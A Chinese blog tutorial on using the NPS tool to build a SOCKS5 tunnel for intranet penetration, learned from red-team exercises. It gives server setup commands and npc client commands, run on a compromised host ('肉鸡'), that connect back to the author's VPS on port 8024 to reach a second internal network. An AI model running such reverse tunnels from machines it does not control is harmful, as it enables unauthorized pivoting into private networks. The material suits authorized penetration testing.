内网穿透-使用NPS搭建socks5隧道
攻防演练有看到大哥用这个做代理,今天学习一下
一、安装
https://github.com/ehang-io/nps/releases (下载Linux版本的先试试)
上传至服务器,新建一个nps的文件夹,然后解压:
mkdir nps
tar -xzvf linux_amd64_server.tar.gz -C ./nps
然后输入命令启动,启动后即可访问如下登录管理页面,默认账号密码为:admin/123 (记得快速修改初始密码)
./nps start
在/etc/nps/conf/文件内可以查看到默认的账号密码,修改之,然后再重启一下nps:
nps restart
在压缩包下也是有个一样的配置文件的,千万别改错了!要改的一定是/etc/nps/的
然后登录就可以看到页面了:
这样就安装好了。
二、使用
登录nps:
然后点击新增客户端,到下面的截图:(自行设置账号密码,这个将会作为你的隧道的密码进行使用)
填写好就可以新增了!记住下面这个密钥:
这些都有了,那应该直接接下来怎么做了吧,同样的,在肉鸡运行nps的命令,然后就能做代理了,我们试试吧!
(1)以下时Windows客户端的,下载对应的版本然后输入下述命令:
npc.exe -server=你的vps:8024 -vkey=客户端的密钥
(2)以下时Linux客户端的,下载对应的版本然后输入下述命令:
./npc -server=你的vps:8024 -vkey=客户端的密钥
到这一步时,你已经成功了一半,因为在肉鸡上运行以上命令将会成功建立好隧道:
肉鸡运行:
npc.exe -server=192.168.43.234:8024 -vkey=客户端的密钥
web页面会出现上线的提示:
最后:在上线的主机的隧道处点击,并添加响应的隧道,就可以建立与其他网段的通信了:
然后测试一下连接:
最后就能成功访问第二层网络(192.168.127.x网段)了:
以上,简单的使用nps建立隧道的任务就完成了!其余使用教程请参考:https://ehang-io.github.io/nps/#/use
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理